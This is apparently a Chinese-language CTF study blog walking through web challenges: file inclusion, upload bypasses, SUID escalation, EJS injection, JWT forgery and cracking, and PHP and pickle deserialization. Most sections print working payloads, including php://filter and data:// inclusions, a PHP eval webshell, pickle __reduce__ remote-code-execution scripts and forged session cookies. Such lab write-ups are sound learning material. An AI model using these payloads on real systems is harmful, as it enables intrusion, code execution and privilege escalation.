2025/4/17

因为我积累的还很少所以先把这些漏洞放在同一篇blog,等到时候积累的多了再分开

常见的flag存放位置:

注释、根目录、环境变量

文件包含

1. 产生原因

(1)动态文件包含机制被滥用:PHP提供了如include、require、include_once和require_once等文件包含函数。当这些函数的参数可被用户控制时,攻击者就有机会传入恶意文件路径

(2)文件路径过滤不严格:如果服务器端对用户输入的文件路径没有进行严格的验证和过滤,比如未检查路径是否合法、是否存在敏感目录穿越字符(如../),攻击者可利用这些字符突破原本的目录限制,访问或包含非预期的文件。例如,http://example.com/index.php?file=../etc/passwd 若未对file参数过滤,可能导致系统敏感文件被读取

2. 漏洞类型

(1)本地文件包含(LFI,Local File Inclusion):攻击者利用漏洞包含服务器本地的文件,比如读取系统配置文件(如/etc/passwd在Linux系统中)来获取敏感信息,或者包含服务器上其他PHP文件,通过分析这些文件进一步挖掘可利用的漏洞

(2)远程文件包含(RFI,Remote File Inclusion):当PHP配置中allow_url_include选项开启时,攻击者可以通过包含远程服务器上的文件来执行恶意代码。例如,攻击者在远程服务器放置一个恶意PHP文件,然后通过漏洞让目标服务器包含该远程文件,从而在目标服务器上执行恶意代码

题目:

[HCTF 2018]WarmUp

主要源码:

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];

意思是如果前面的waf都通过,代码将执行 include $_REQUEST[file];,将用户指定的文件包含到当前脚本中

[Aurora新生赛] Just Signin

源码:

直接 /?__err0r233.yyds=php://filter/read=convert.base64-encode/resource=flag.php

试了好久都不行:(

为什么呢?

是因为后面的“.”被处理为了“_”,[|空格|+|.|。都会被处理为_

原理

这是因为当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线

所以 payload 是 /?_[err0r233.yyds=php://filter/read=convert.base64-encode/resource=flag.php

[ACTF2020 新生赛]Include1

源码:

<?php
echo "Can you find out the flag?";
//flag{af3e9cc8-41d8-4dab-9a9e-dcfbb125379e}

和上面一题有所不同,直接读取 PHP 文件会导致代码被解析执行,而flag被注释了,所以直接包含看不到,这就需要用到php://filter

php://filter是什么

在CTF(Capture The Flag,夺旗赛)中,php://filter 常被用于与PHP代码审计和文件操作相关的题目

绕过文件读取限制:在一些CTF题目中,出题者可能限制了对某些敏感文件(如config.php,里面可能包含数据库密码等关键信息)的直接读取,但通过 php://filter 可能绕过这些限制。例如,若系统只允许通过特定函数读取指定目录下的文件,但对 php://filter 的使用未做严格限制,就可以构造类似于 php://filter/read=convert.base64-encode/resource=config.php 的路径。这样可以将 config.php 的内容进行Base64编码后读取出来,因为Base64编码后的内容通常不会触发系统对敏感文件内容的检测机制。

读取被篡改或损坏文件:有时候,题目可能会给出一个已损坏或被篡改过的文件,通过 php://filter 中的一些过滤器,如 string.strip_tags(去除HTML标签)、string.toupper(转换为大写)等,可对文件内容进行清洗或调整,以便获取有用信息。例如,若文件内容被插入了恶意的HTML标签干扰正常阅读,使用 string.strip_tags 过滤器后可能还原出关键信息。

于是我们使用php://filter把源码转成base64再读,就可以绕过这个限制

payload为 /?file=php://filter/read=convert.base64-encode/resource=flag.php

进阶:

如果php://filter被ban了咋办呢?

[攻防世界]Web_php_include

源码:

<?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
?>

问一下AI,这里还能用data://text等协议(应该还有其他的,不过还没接触到过,有待我补充)

payload为 /?page=data://text/plain,<?php system('ls');?>

最后拿到flag在注释里面,找了好久( :( 不要忘记看一下注释)

总结:

常见的伪协议

file://

php://

zip://

php://filter 是 PHP 中的一种特殊的伪协议,它允许对数据进行过滤处理php://filter/read=<过滤器列表>/resource=<操作目标>过滤器可以是 convert.base64-encode

文件上传

按后端类型分类,主要遇到过PHP、Node.js、Python

PHP

最简单的上传一个的php文件,直接用AntSword连接到这个php文件,就能打穿了

下面是有waf的

CTFHub 文件上传 前端验证

直接上传是不允许的

F12看源码

function checkfilesuffix()
{
    var file=document.getElementsByName('file')[0]['value'];
    if(file==""||file==null)
    {
        alert("请添加上传文件");
        return false;
    }
    else
    {
        var whitelist=new Array(".jpg",".png",".gif");
        var file_suffix=file.substring(file.lastIndexOf("."));
        if(whitelist.indexOf(file_suffix) == -1)
        {
            alert("该文件不允许上传");
            return false;
        }
    }
}

只要jpgpnggif

法一:在浏览器关闭js,直接上传即可

法二:在BurpSuite拦截然后改名就可以

CTFHub 文件上传 文件头检查

什么是文件头?

文件头:程序在识别文件类型时,通常会首先查看文件魔术头。当一个程序收到一个未知文件时,它会读取文件开头的几个字节(即魔术头),然后将这些字节序列与已知的各种文件类型的魔术头数据库进行比对。如果找到匹配的魔术头,程序就可以初步确定文件的类型。例如,对于JPEG图片,其魔术头一般是“FF D8 FF”,当程序读取到文件开头是这三个字节时,就很可能判断该文件是JPEG图片。

所以单纯的改名已经绕不过了,要把一个木马写入到一张图片里面

准备一张图片,hack.txt里面有php木马,然后 copy 1.png/b+1.txt/a 2.png

上传2.png然后改名2.php即可

再看一道题目:

[极客大挑战 2019]Upload

文件后缀名不能是php,检查了文件头,过滤了

对于php

在PHP中,可以使用的文件后缀名不仅仅限于 .php,以下是一些常见的 PHP 文件后缀名:

常见的 PHP 文件后缀名

.php2, .php3, .php4, .php5, .php7, .php8

这些后缀通常用于指定不同版本的 PHP 文件,但在现代开发中很少使用

.phtml

通常用于包含 PHP 和 HTML 混合代码的文件

.phps

用于展示 PHP 源代码的文件(通常是高亮显示的源代码)

.inc

通常用于包含文件(include 或 require),但需要特别注意安全性,因为这些文件可能被直接访问

.module, .tpl, .theme

在某些框架或 CMS(如 Drupal、WordPress 等)中,可能会使用这些后缀来表示模块、模板或主题文件

.cgi

有时 PHP 脚本会被配置为 CGI 脚本并使用 .cgi 后缀

这里尝试php2不行,所以用了phtml

一句话木马不能用了,让AI做出修改,代码如下

<script language="php">eval($_POST['cmd']);</script>

这样就可以了

再看一题:

SZU靶场 Web 每日一题 2024[day 3] rce and escalation

在r.php中已经预先准备好了一个webshell,访问题目url/r.php即可,但是flag被设置为仅有root权限可读,需要用SUID提权才能读

SUID是什么

suid:在linux中的作用是能够让普通用户临时拥有该文件属主的执行权限

一般来说suid权限提权即可提权至最高root权限

步骤:

先找到具有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

命令解释

/ 表示从文件系统的顶部(根)开始,查找每个目录

-perm 表示搜索后面的权限

-type 表示我们正在寻找的文件类型

f 表示普通文件,而不是目录或特殊文件

2 表示到进程的第二个文件描述符,即 stderr(标准错误)

> 表示重定向

/dev/null 是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

合起来的意思就是寻找具有suid标志且属主为root的文件并将所有搜索到的错误信息输出到/dev/null(不输出错误信息)

根据得到的命令去查

对于本题:

逐一尝试,发现time可以

/usr/bin/time cat /fl* 就可以了

Node.js

[Hgame]Level 47 BandBomb

给了源码,存在一个路径遍历漏洞,可以通过重命名改变文件路径

这个题使用了一个 ejs 视图引擎读取 uploads 目录中的文件列表,如果读取成功,渲染 mortis视图并传递文件列表

什么是ejs

ejs :EJS 是一种在 Node.js 环境中广泛使用的模板引擎。它允许开发者在普通的 HTML文件中嵌入 JavaScript 代码,从而实现动态生成 HTML 内容。通过 EJS,开发者可以将数据从服务器端传递到前端视图,并根据这些数据来定制 HTML 页面的展示。

思路就是上传一个含有恶意代码的 ejs 然后通过上述路径遍历漏洞改变文件的路径让他替换 mortis.ejs

上传<%= require(child_process).execSync(env > /app/public/1.txt) %>

意思就是创建一个子进程获取环境变量把它写入到/public 下的 1.txt

这时候只需要改个名从而改变它的路径替换 mortis.ejs源码中有一句话 app.use(express.json());所以改名需要 POST json

根据前面的恶意代码,我们只需要访问/static/1.txt 即可获取环境变量,里面有一个FLAG

Python

遇到过一道题,但是尚未解决

SZU靶场python-include

SQLI

这里

SSTI

这里

审计

JS

做这种题的一般步骤就是找到关键的信息,如数值,然后再控制台改,不一定要把全部内容都理解

[Hgame] Level 24 Pacman

JWT

JWT 的原理:服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样

{
  "姓名": "张三",
  "角色": "管理员",
  "到期时间": "2018年7月1日0点0分"
}

以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名 (Signature)

例:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0.Y2PuC-D6SfCRpsPN19_1Sb4WPJNkJr7lhG6YzA8-9OQ

JWT 的三个部分依次如下:

Header.Payload.Signature

Header

Header 部分是一个 JSON 对象,描述 JWT 的元数据,以上面的例子,使用 base64decode 之后:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
{
  "alg": "HS256",
  "typ": "JWT"
}

header部分最常用的两个字段是alg和typ

alg属性表示token签名的算法(algorithm),最常用的为HMAC和RSA算法

typ属性表示这个token的类型(type),JWT 令牌统一写为JWT

Payload
Payload部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用

- iss (issuer):签发人
- exp (expiration time):过期时间
- sub (subject):主题
- aud (audience):受众
- nbf (Not Before):生效时间
- iat (Issued At):签发时间
- jti (JWT ID):编号

除了官方字段,还可以在这个部分定义私有字段,以上面的例子为例,将 payload 部分解 base64 之后:

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0

{
  "sub": "1234567890",
  "name": "CTFHub",
  "iat": 1516239022
}

注意:JWT 默认是不会对 Payload 加密的,也就意味着任何人都可以读到这部分JSON的内容,所以不要将私密的信息放在这个部分
Signature
Signature 部分是对前两部分的签名,防止数据篡改

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用”点”(.)分隔,就可以返回给用户

参考链接

Cfthub-无签名

代码:

import jwt

# Header
headers = {
    "alg": "none",
    "typ": "JWT"
}

# Payload
payload = {
    "username": "admin",
    "password": "admin",
    "role": "admin"
}

# 这里需要一个密钥,通常这个密钥是保密的,并且只有服务端知道,因为alg是none所以sk必须为空,然后后面生成的Signature就空
secret_key = ''

# 生成 JWT
token = jwt.encode(payload, secret_key, algorithm="HS256", headers=headers)

print(token)

Ctfhub-弱密钥

JWT cracker

clone下来make

然后

./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImEiLCJwYXNzd29yZCI6ImEiLCJyb2xlIjoiZ3Vlc3QifQ.ij-9Zp1eoeE--qQFBq8heIh71J0S9DNjTE2UTQv10cc

拿到密钥ezww,把刚才的脚本改一下就好了

类似的,flask session伪造可以用flask-session-cookie-manager,后面用到了,此处不再赘述

反序列化

PHP

1. 序列化与反序列化

序列化(Serialize):将对象(Object)或数据结构转换为字符串(可存储/传输的格式)

$data = ["user" => "admin", "role" => "admin"];
$serialized = serialize($data);
// 输出:a:2:{s:4:"user";s:5:"admin";s:4:"role";s:5:"admin";}

反序列化(Unserialize):将序列化后的字符串还原为原始对象或数据结构

$unserialized = unserialize($serialized);

2. 漏洞原理

攻击者能够控制反序列化的输入时,可能触发对象中的魔术方法(Magic Methods),从而执行恶意代码。关键魔术方法:

  • __wakeup():反序列化时自动调用。

  • __destruct():对象销毁时调用。

  • __toString():对象被当作字符串使用时调用。

漏洞示例:

class VulnerableClass {
    private $file;

    public function __destruct() {
        // 对象销毁时删除文件(危险操作!)
        unlink($this->file);
    }
}

// 攻击者构造恶意序列化数据
$evil_payload = 'O:15:"VulnerableClass":1:{s:15:"VulnerableClassfile";s:10:"/etc/passwd";}';
$data = unserialize($evil_payload); // 反序列化触发 __destruct(),删除系统文件

3. 攻击场景

  • POP链攻击(Property-Oriented Programming):通过组合多个类的魔术方法,构造恶意调用链。

  • 依赖注入:利用反序列化篡改对象属性,例如数据库连接参数、文件路径等。

  • 框架漏洞:如ThinkPHP、Laravel等框架的历史反序列化漏洞。

4. 防御措施

  1. 避免反序列化不可信数据

尽量避免使用unserialize()处理用户输入,优先使用JSON等安全格式(如json_encode()/json_decode())。

  1. 校验数据完整性

使用签名(如HMAC)验证数据来源和完整性:

$data = $_POST['data'];
$signature = $_POST['signature'];
if (hash_hmac('sha256', $data, $secret_key) === $signature) {
    $unserialized = unserialize($data);
}
  1. 限制允许的类

使用allowed_classes参数限制可反序列化的类:

$unserialized = unserialize($serialized, ["allowed_classes" => ["SafeClass"]]);
  1. 禁用危险魔术方法

在敏感类中避免使用__wakeup()、__destruct()等高风险方法

  1. 使用替代方案

使用__sleep()方法控制序列化的字段,或实现Serializable接口自定义序列化逻辑

[攻防世界]unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

存在反序列化相关的逻辑。__wakeup 函数被定义用来阻止正常的反序列化操作并直接输出 bad requests 退出程序。要获取 flag,可以尝试利用 __wakeup 函数的绕过漏洞

在PHP反序列化中,当 wakeup 函数存在时,如果对象序列化数据中的 O:类名长度:类名:属性个数:{属性} 中的属性个数被人为篡改得比实际属性个数大时,wakeup 函数会被绕过

首先,构造正常的对象序列化字符串:

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$obj = new xctf();
echo serialize($obj);
?>

这段代码会输出类似 O:4:"xctf":1:{s:4:"flag";s:3:"111";} 的序列化字符串

然后,篡改属性个数,使其大于实际的属性个数,从而绕过 __wakeup 函数。假设篡改后的序列化字符串如下:

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$malicious_serialized = 'O:4:"xctf":2:{s:4:"flag";s:3:"111";}';
$unserialized_obj = unserialize($malicious_serialized);
echo $unserialized_obj->flag;
?>

在上述代码中,O:4:"xctf":2:{s:4:"flag";s:3:"111";} 中属性个数由 1 改为了 2,就能绕过 __wakeup 函数并成功反序列化对象,进而获取 flag

Python pickle

序列化:将对象转换为可存储/传输的格式(如 pickle.dumps(obj) 生成字节流
反序列化:将序列化数据还原为对象(如 pickle.loads(data) 重建对象)

攻击链中服务端可能使用的不安全的代码:

# Flask 示例(存在漏洞)
from flask import Flask, request
import pickle

app = Flask(__name__)

@app.route('/unsafe', methods=['POST'])
def unsafe():
    data = request.get_data()        # 接收客户端原始数据
    obj = pickle.loads(data)         # 🚨 反序列化触发漏洞
    return f"Hello {obj.name}!"

# 攻击者发送恶意构造的 Base64 数据即可触发 RCE

pickle.loads(data)就会有漏洞

再比如说下面这个就是利用了cookie

from flask import Flask, request, make_response
import pickle
import base64

app = Flask(__name__)

@app.route('/login')
def login():
    user = User(is_admin=False)  # 用户对象
    cookie_data = pickle.dumps(user)  # 序列化用户对象
    response = make_response("Login Success")
    response.set_cookie('user', base64.b64encode(cookie_data).decode())  # 将序列化数据存入 Cookie
    return response

@app.route('/admin')
def admin():
    cookie_data = request.cookies.get('user')
    if cookie_data:
        user = pickle.loads(base64.b64decode(cookie_data))  # 🚨 危险:直接反序列化 Cookie
        if user.is_admin:
            return "Welcome Admin!"
    return "Access Denied"

下面这道题目(用到了flask-session伪造和pickle反序列化)

SZU新生赛[middle-hard] Share Page

{{config}}拿 secretkey:e9a41c95874c9443e7ba603c62fad8c36ca8c7e6e51f519497ebab7cf8a028a3

decode session 拿到 json

python flask_session_cookie_manager3.py decode -s "e9a41c95874c9443e7ba603c62fad8c36ca8c7e6e51f519497ebab7cf8a028a3" -c "eyJ1c2VyIjoiZ0FTVlBnQUFBQUFBQUFDTUJtMXZaR1ZzYzVTTUJGVnpaWEtVazVRcGdaUjlsQ2lNQW1sa2xFc0JqQWgxYzJWeWJtRnRaWlNNQVRHVWpBaHdZWE56ZDI5eVpKUm9CM1ZpTGc9PSJ9.Z9zvUA.jNc94EaAjTK1awdjkori3QmAx_g"

得到

{'user': 'gASVPgAAAAAAAACMBm1vZGVsc5SMBFVzZXKUk5QpgZR9lCiMAmlklEsBjAh1c2VybmFtZZSMATGUjAhwYXNzd29yZJRoB3ViLg=='}

gASV就是序列化的标志

使用恶意脚本

import base64
import pickle
class Person():
    def __init__(self, name: str = ""):
        self.name = name
    def __reduce__(self):
        return (eval, ("__import__('os').system('ls > static/1.txt')",))
man = Person("man")
a =pickle.dumps(man)
print(base64.b64encode(a))

拿到将指令序列化后的恶意字符串gASVSAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwsX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzID4gc3RhdGljLzEudHh0JymUhZRSlC4=

然后再伪造cookie

python flask_session_cookie_manager3.py encode -s "e9a41c95874c9443e7ba603c62fad8c36ca8c7e6e51f519497ebab7cf8a028a3" -t "{'user': 'gASVSAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwsX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzID4gc3RhdGljLzEudHh0JymUhZRSlC4='}"

得到eyJ1c2VyIjoiZ0FTVlNBQUFBQUFBQUFDTUNHSjFhV3gwYVc1emxJd0VaWFpoYkpTVGxJd3NYMTlwYlhCdmNuUmZYeWduYjNNbktTNXplWE4wWlcwb0oyeHpJRDRnYzNSaGRHbGpMekV1ZEhoMEp5bVVoWlJTbEM0PSJ9.Z9z2iA.joacN9aF9qeB4zuFyl69XFKomPY

修改cookie从而在static/1.txt看到回显

[XYCTF2025]SignIn

源码:


#flag in /flag_{uuid4}

from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

有一个 /download还有一个 /secret

def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

为了防止路径遍历ban了下面这些

  1. name 中包含 ‘../../‘ 字符串

  1. name 以 ‘/‘ 开头

  1. name 以 ‘../‘ 开头

  1. name 中包含 ‘\‘
    但这难不倒我们可以用 ./.././../
    因为 ./ 表示当前目录 ../ 表示上级目录
    /download?filename=./.././../secret.txt拿到secretkey Hell0_H@cker_Y0u_A3r_Sm@r7

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"

打开/secret路由

cookie是 name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"

投喂给AI

前面是 HMAC-SHA256,后面是被pickle序列化后的内容

可以让AI写个代码

import os
import pickle
import base64
import hmac
import hashlib

# 已知secret,比如你说你拿到了一个类似 flag 的字符串
secret = b"Hell0_H@cker_Y0u_A3r_Sm@r7"

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('ls > /download/1.txt',))

payload = pickle.dumps(Exploit())
payload_b64 = base64.b64encode(payload).decode()

# 计算签名
sig = base64.b64encode(hmac.new(secret, payload_b64.encode(), hashlib.sha256).digest()).decode()

# 拼出cookie
cookie = f"!{sig}?{payload_b64}"
print(cookie)

/download?filename=1.txt看回显

但是并不起作用

修改代码使用eval而非os.system

import pickle
import base64
import hmac
import hashlib
import os

# 你拿到的secret
secret = b"Hell0_H@cker_Y0u_A3r_Sm@r7"

# 恶意类
class RCE:
    def __reduce__(self):
        return (eval, ("__import__('os').system('ls / > flag.txt')",))



# 构造payload:是一个list,第二个元素是字典,里面注入RCE
payload_data = ['name', {'name': RCE()}]

# 序列化并base64编码
payload_pickle = pickle.dumps(payload_data)
payload_b64 = base64.b64encode(payload_pickle).decode()

# 签名:HMAC-SHA256
sig = base64.b64encode(hmac.new(secret, payload_b64.encode(), hashlib.sha256).digest()).decode()

# 拼接最终cookie
cookie = f"!{sig}?{payload_b64}"
print(f"🔐 Cookie 值:\n{cookie}")

!s6VV6YSxIAPR9ztICbknQLQheOypWyk9oBiKwag0NX8=?gASVVgAAAAAAAABdlCiMBG5hbWWUfZRoAYwIYnVpbHRpbnOUjARldmFslJOUjCpfX2ltcG9ydF9fKCdvcycpLnN5c3RlbSgnbHMgLyA+IGZsYWcudHh0JymUhZRSlHNlLg==

/download?filename=flag.txt看到回显

app bin dev docker-entrypoint.sh etc flag_dda2d465-af33-4c56-8cc9-fd4306867b70 home lib media mnt opt proc root run sbin secret.txt srv sys tmp usr var

下一步cat即可